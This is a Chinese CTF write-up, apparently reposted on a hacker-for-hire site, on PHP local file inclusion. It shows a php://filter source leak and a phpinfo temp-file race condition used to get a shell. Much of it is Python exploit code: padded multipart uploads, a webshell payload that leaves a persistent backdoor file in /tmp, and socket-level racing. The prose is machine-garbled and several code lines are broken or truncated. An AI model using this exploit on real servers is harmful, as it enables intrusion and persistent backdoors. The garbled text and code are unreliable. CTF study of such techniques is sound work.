文件包括&奇技淫巧

访客5年前黑客资讯1218

前语
最近遇到一些文件包括的标题,在本篇文章记载两个trick。
环境布景
复现环境仍是很简略建立的:
例题1(php7)
index.php
dir.php
例题2(php5)
index.php
phpinfo.php
两道题的终究目标都是拿到根目录的flag。
phpinfo+LFI
咱们看到例题2:
咱们有文件包括,那么咱们能够简略的用伪协议走漏源代码:
file=php://filter/read=convert.base64-encode/resource=index.php
这是陈词滥调的问题,无需多讲,要点在于怎么去读取根目录的flag。
最简略想到的是运用包括:
http://ip/index.php?file=/flag
可是由于:
if (strpos($a,'flag')!==false) {
die('nonono');
}
咱们并不能进行读取,那么很简略想到,测验getshell。
这儿咱们能够介绍之一个trick,即运用phpinfo会打印上传缓存文件途径的特性,进行缓存文件包括到达getshell的意图。
咱们简略写一个测验脚本:
import requests
from io import BytesIO
files = {
  'file': BytesIO("
能够看到回显中有如下内容:
_FILES["file"]
Array
(
    [name] => test.txt
    [type] => application/octet-stream
    [tmp_name] => /tmp/phptZQ0xZ
    [error] => 0
    [size] => 26
)
咱们只需运用这一特性,进行包括getshell即可。
首要咱们运用正则匹配,提取暂时文件名:
data = re.search(r"(? ).*", r.content).group(0)

接下来便是条件竞赛的问题:怎么在文件暂时文件消失前,包括到它。
这儿为了事半功倍,我搜集了一些材料和原理:
1.暂时文件在phpinfo页面加载完毕后才会被删去。
2.phpinfo页面会将一切数据都打印出来,包括header。
3.php默许的输出缓冲区巨细为4096,能够理解为php每次回来4096个字节给socket衔接。
(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)
那么咱们的竞赛流程能够总结为:
1.发送包括了webshell的上传数据包给phpinfo页面,一起在header中塞满垃圾数据。
2.由于phpinfo页面会将一切数据都打印出来,垃圾数据会加大phpinfo加载时刻。
3.直接操作原生socket,每次读取4096个字节。只需读取到的字符里包括暂时文件名,就当即发送第二个数据包。
4.此刻,之一个数据包的socket衔接实际上还没完毕,由于php还在持续每次输出4096个字节,所以暂时文件此刻还没有删去。
5.运用这个时刻差,在第二个数据包进行文件包括缝隙的运用,即可成功包括暂时文件,终究getshell。
一起,关于webshell也有考究,由于包括进程比较费事,假如运用一次性一句话木马:
则每次执行命令,都要进行一次包括,耗时耗力,所以咱们挑选包括后写入文件的shell:
');?>
这样一旦包括成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次运用直接轻松包括即可。
测验进行exp编写:
import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!');?>r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="file"; filename="test.php"r
Content-Type: text/phpr
r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="submit"r
r
Submitr
------WebKitFormBoundary9MWZnWxBey8mbAQ8--r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: skypadding="""+padding+"""r
Cache-Control: max-age=0r
Upgrade-Insecure-Requests: 1r
Origin: nullr
Accept: """ + padding + """r
User-Agent: """+padding+"""r
Accept-Language: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Length: %sr
Host: %s:%sr
r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %s:%sr
r
r
"""
return (request1,request2)
def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i      
        if i == "":
            break
        if i.endswith("0rnrn"):

[1] [2]  黑客接单网

相关文章

Apple iCloud帐户的破解与保护攻防战-黑客接单平台

不管你是履行桌面仍是云取证,云端数据都将成为越来越重要依据来历,而且有时是仅有依据来历。即便你不从事取证作业,云拜访也能够协助你拜访已删去或以其他办法无法拜访的数据。 与智能手机或受暗码维护的桌面相似...

商业网站已经没有什么系统软件难题了

商业网站已经没有什么系统软件难题了

原本对系统组件间隙,已经没有什么喜好了. 由于如今补丁下载出得迅速.商业网站已经没有什么系统软件难题了. 即使你应用twwwscan,namp等杀伤力很强的扫描枪也不太可能扫...

议题解读《我的Web使用安全含糊测验之路》

我的Web运用安全含糊测验之路 什么是Web运用中的含糊测验? Web运用是根据什么进行传输的?HTTP协议。 含糊测验是什么?Payload随机。 Payload放哪里?HTTP恳求报文格局是什么?...

减少Rust开发的闭源项目中的调试信息-黑客接单平台

Rust是一门体系编程言语,专心于安全,尤其是并发安全,支撑函数式和指令式以及泛型等编程范式的多范式言语。Rust在语法上和C++类似,可是设计者想要在确保功用的一起供给更好的内存安全。 由于Rust...

鱼叉式网络钓鱼攻击——一份关于攻击动机、技术和预防方法的完整指南-黑客接单平台

每天都有不计其数的鱼叉式垂钓邮件发送给全世界的受害者。 进犯有许多不同的途径,不管怎样进犯,都会对您的网络形成损伤。 所以,精确的、有针对性的进行剖析和履行是至关重要的。 在本指南中,咱们将介绍鱼叉式...

PHP弱类型安全问题总结

 前段时间做了南京邮电大学网络攻防渠道上面的标题,写了一个writeup之后,还有必要总结一下。因为做的标题都是web类型的,一切的标题都是运用PHP来写的,所以许多标题并没有调查到传统的如SQL注入...